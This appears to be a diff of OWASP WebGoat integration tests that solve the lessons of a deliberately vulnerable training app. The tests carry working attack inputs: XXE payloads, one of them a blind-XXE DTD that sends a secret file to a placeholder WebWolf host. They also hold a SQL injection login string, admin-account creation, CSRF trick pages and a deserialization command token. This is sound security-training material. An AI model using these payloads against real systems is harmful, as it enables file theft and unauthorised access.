Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,126 +0,0 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(
url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
// remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("landing")).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("files")).replace("USERNAME", this.getUser());
checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/");
}
}

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -15,71 +19,71 @@ class AccessControlIntegrationTest extends IntegrationTest {
assignment2(); assignment2();
assignment3(); assignment3();
checkResults("/access-control"); checkResults("MissingFunctionAC");
} }
private void assignment3() { private void assignment3() {
// direct call should fail if user has not been created // direct call should fail if user has not been created
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("access-control/users-admin-fix")) .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then() .then()
.statusCode(HttpStatus.SC_FORBIDDEN); .statusCode(HttpStatus.SC_FORBIDDEN);
// create user // create user
var userTemplate = var userTemplate =
""" """
{"username":"%s","password":"%s","admin": "true"} {"username":"%s","password":"%s","admin": "true"}
"""; """;
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser())) .body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(url("access-control/users")) .post(webGoatUrlConfig.url("access-control/users"))
.then() .then()
.statusCode(HttpStatus.SC_OK); .statusCode(HttpStatus.SC_OK);
// get the users // get the users
var userHash = var userHash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("access-control/users-admin-fix")) .get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true); checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
} }
private void assignment2() { private void assignment2() {
var userHash = var userHash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("access-control/users")) .get(webGoatUrlConfig.url("access-control/users"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true); checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
} }
private void assignment1() { private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(url("access-control/hidden-menu"), params, true); checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
} }
} }

View File

@ -1,7 +1,11 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured; import io.restassured.RestAssured;
@ -64,12 +68,12 @@ public class CSRFIntegrationTest extends IntegrationTest {
public void init() { public void init() {
startLesson("CSRF"); startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation(); webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag"))); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
uploadTrickHtml( uploadTrickHtml(
"csrf8.html", "csrf8.html",
trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser())); trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
} }
@TestFactory @TestFactory
@ -86,7 +90,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
// logout(); // logout();
login(); // because old cookie got replaced and invalidated login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false); startLesson("CSRF", false);
checkResults("/csrf"); checkResults("CSRF");
} }
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException { private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
@ -103,7 +107,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes()) .multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("fileupload")) .post(webWolfUrlConfig.url("fileupload"))
.then() .then()
.extract() .extract()
.response() .response()
@ -118,7 +122,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("files/" + this.getUser() + "/" + htmlName)) .get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
.then() .then()
.extract() .extract()
.response() .response()
@ -136,7 +140,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("files/fake.html")) .header("Referer", webWolfUrlConfig.url("files/fake.html"))
.post(goatURL) .post(goatURL)
.then() .then()
.extract() .extract()
@ -144,15 +148,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
.toString(); .toString();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
checkAssignment(url("csrf/confirm-flag-1"), params, true); checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
} }
private void checkAssignment4(String goatURL) { private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("reviewText", "test review"); params.put("reviewText", "test review");
params.put("stars", "5"); params.put("stars", "5");
params.put( params.put(
@ -163,13 +165,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("files/fake.html")) .header("Referer", webWolfUrlConfig.url("files/fake.html"))
.formParams(params) .formParams(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract() .extract()
.path("lessonCompleted"); .path("lessonCompleted");
assertEquals(true, result); assertTrue(result);
} }
private void checkAssignment7(String goatURL) { private void checkAssignment7(String goatURL) {
@ -184,7 +186,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("files/fake.html")) .header("Referer", webWolfUrlConfig.url("files/fake.html"))
.contentType(ContentType.TEXT) .contentType(ContentType.TEXT)
.body( .body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is" "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
@ -198,7 +200,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
checkAssignment(url("csrf/feedback"), params, true); checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
} }
private void checkAssignment8(String goatURL) { private void checkAssignment8(String goatURL) {
@ -207,7 +209,6 @@ public class CSRFIntegrationTest extends IntegrationTest {
registerCSRFUser(); registerCSRFUser();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "csrf-" + this.getUser()); params.put("username", "csrf-" + this.getUser());
params.put("password", "password"); params.put("password", "password");
@ -217,7 +218,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("files/fake.html")) .header("Referer", webWolfUrlConfig.url("files/fake.html"))
.params(params) .params(params)
.post(goatURL) .post(goatURL)
.then() .then()
@ -225,21 +226,21 @@ public class CSRFIntegrationTest extends IntegrationTest {
.cookie("JSESSIONID"); .cookie("JSESSIONID");
// select the lesson // select the lesson
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.get(url("CSRF.lesson.lesson")) .get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
.then() .then()
.statusCode(200); .statusCode(200);
// click on the assignment // click on the assignment
boolean result = boolean result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.post(url("csrf/login")) .post(webGoatUrlConfig.url("csrf/login"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -250,18 +251,19 @@ public class CSRFIntegrationTest extends IntegrationTest {
login(); login();
startLesson("CSRF", false); startLesson("CSRF", false);
Overview[] assignments = Overview[] assignments =
RestAssured.given() RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
.then() .then()
.extract() .extract()
.jsonPath() .jsonPath()
.getObject("$", Overview[].class); .getObject("$", Overview[].class);
// assertThat(assignments) assertThat(assignments)
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
// .extracting(o -> o.solved) .extracting(o -> o.solved)
// .containsExactly(true); .containsExactly(true);
} }
@Data @Data
@ -273,13 +275,13 @@ public class CSRFIntegrationTest extends IntegrationTest {
/** Try to register the new user. Ignore the result. */ /** Try to register the new user. Ignore the result. */
private void registerCSRFUser() { private void registerCSRFUser() {
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser()) .formParam("username", "csrf-" + this.getUser())
.formParam("password", "password") .formParam("password", "password")
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(url("register.mvc")); .post(webGoatUrlConfig.url("register.mvc"));
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
@ -17,12 +21,12 @@ public class ChallengeIntegrationTest extends IntegrationTest {
void testChallenge1() { void testChallenge1() {
startLesson("Challenge1"); startLesson("Challenge1");
byte[] resultBytes = byte[] resultBytes =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("challenge/logo")) .get(webGoatUrlConfig.url("challenge/logo"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -34,14 +38,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
params.put("username", "admin"); params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("challenge/1"), params, true); checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.post(url("challenge/1")) .post(webGoatUrlConfig.url("challenge/1"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -50,16 +54,16 @@ public class ChallengeIntegrationTest extends IntegrationTest {
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(url("challenge/flag"), params, true); checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
checkResults("/challenge/1"); checkResults("Challenge1");
List<String> capturefFlags = List<String> capturefFlags =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("scoreboard-data")) .get(webGoatUrlConfig.url("scoreboard-data"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -77,13 +81,13 @@ public class ChallengeIntegrationTest extends IntegrationTest {
params.put("username_login", "Larry"); params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1"); params.put("password_login", "1' or '1'='1");
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(params) .formParams(params)
.post(url("challenge/5")) .post(webGoatUrlConfig.url("challenge/5"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -92,16 +96,16 @@ public class ChallengeIntegrationTest extends IntegrationTest {
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear(); params.clear();
params.put("flag", flag); params.put("flag", flag);
checkAssignment(url("challenge/flag"), params, true); checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
checkResults("/challenge/5"); checkResults("Challenge5");
List<String> capturefFlags = List<String> capturefFlags =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("scoreboard-data")) .get(webGoatUrlConfig.url("scoreboard-data"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -116,23 +120,23 @@ public class ChallengeIntegrationTest extends IntegrationTest {
cleanMailbox(); cleanMailbox();
// One should first be able to download git.zip from WebGoat // One should first be able to download git.zip from WebGoat
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("challenge/7/.git")) .get(webGoatUrlConfig.url("challenge/7/.git"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
.asString(); .asString();
// Should send an email to WebWolf inbox this should give a hint to the link being static // Should email WebWolf inbox this should give a hint to the link being static
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org") .formParams("email", getUser() + "@webgoat.org")
.post(url("challenge/7")) .post(webGoatUrlConfig.url("challenge/7"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract() .extract()
@ -144,7 +148,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("mail")) .get(webWolfUrlConfig.url("mail"))
.then() .then()
.extract() .extract()
.response() .response()
@ -153,18 +157,18 @@ public class ChallengeIntegrationTest extends IntegrationTest {
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
// Call reset link with admin link // Call reset link with admin link
String result = String result =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2") .get(webGoatUrlConfig.url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
.then() .then()
.statusCode(HttpStatus.ACCEPTED.value()) .statusCode(HttpStatus.ACCEPTED.value())
.extract() .extract()
.asString(); .asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(url("challenge/flag"), Map.of("flag", flag), true); checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assertions.fail;
@ -42,17 +46,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
checkAssignmentDefaults(); checkAssignmentDefaults();
checkResults("/crypto"); checkResults("Cryptography");
} }
private void checkAssignment2() { private void checkAssignment2() {
String basicEncoding = String basicEncoding =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("crypto/encoding/basic")) .get(webGoatUrlConfig.url("crypto/encoding/basic"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -64,7 +68,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("answer_user", answer_user); params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd); params.put("answer_pwd", answer_pwd);
checkAssignment(url("crypto/encoding/basic-auth"), params, true); checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
} }
private void checkAssignment3() { private void checkAssignment3() {
@ -72,27 +76,27 @@ public class CryptoIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("answer_pwd1", answer_1); params.put("answer_pwd1", answer_1);
checkAssignment(url("crypto/encoding/xor"), params, true); checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
} }
private void checkAssignment4() throws NoSuchAlgorithmException { private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = String md5Hash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("crypto/hashing/md5")) .get(webGoatUrlConfig.url("crypto/hashing/md5"))
.then() .then()
.extract() .extract()
.asString(); .asString();
String sha256Hash = String sha256Hash =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("crypto/hashing/sha256")) .get(webGoatUrlConfig.url("crypto/hashing/sha256"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -112,17 +116,17 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("answer_pwd1", answer_1); params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2); params.put("answer_pwd2", answer_2);
checkAssignment(url("crypto/hashing"), params, true); checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
} }
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = String privatePEM =
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("crypto/signing/getprivate")) .get(webGoatUrlConfig.url("crypto/signing/getprivate"))
.then() .then()
.extract() .extract()
.asString(); .asString();
@ -135,7 +139,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("modulus", modulus); params.put("modulus", modulus);
params.put("signature", signature); params.put("signature", signature);
checkAssignment(url("crypto/signing/verify"), params, true); checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
} }
private void checkAssignmentDefaults() { private void checkAssignmentDefaults() {
@ -151,6 +155,6 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("secretText", text); params.put("secretText", text);
params.put("secretFileName", "default_secret"); params.put("secretFileName", "default_secret");
checkAssignment(url("crypto/secure/defaults"), params, true); checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
@ -26,8 +30,8 @@ public class DeserializationIntegrationTest extends IntegrationTest {
params.put( params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
} }
checkAssignment(url("InsecureDeserialization/task"), params, true); checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/"); checkResults("InsecureDeserialization");
} }
} }

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat; /*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
@ -17,41 +21,51 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("person", "goatuser"); params.put("person", "goatuser");
checkAssignment(url("HttpBasics/attack1"), params, true); checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
params.clear(); params.clear();
params.put("answer", "POST"); params.put("answer", "POST");
params.put("magic_answer", "33"); params.put("magic_answer", "33");
params.put("magic_num", "4"); params.put("magic_num", "4");
checkAssignment(url("HttpBasics/attack2"), params, false); checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
params.clear(); params.clear();
params.put("answer", "POST"); params.put("answer", "POST");
params.put("magic_answer", "33"); params.put("magic_answer", "33");
params.put("magic_num", "33"); params.put("magic_num", "33");
checkAssignment(url("HttpBasics/attack2"), params, true); checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
checkResults("/HttpBasics/"); checkResults("HttpBasics");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
} }
@Test @Test
public void httpProxies() { public void httpProxies() {
startLesson("HttpProxies"); startLesson("HttpProxies");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true") .header("x-request-intercepted", "true")
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
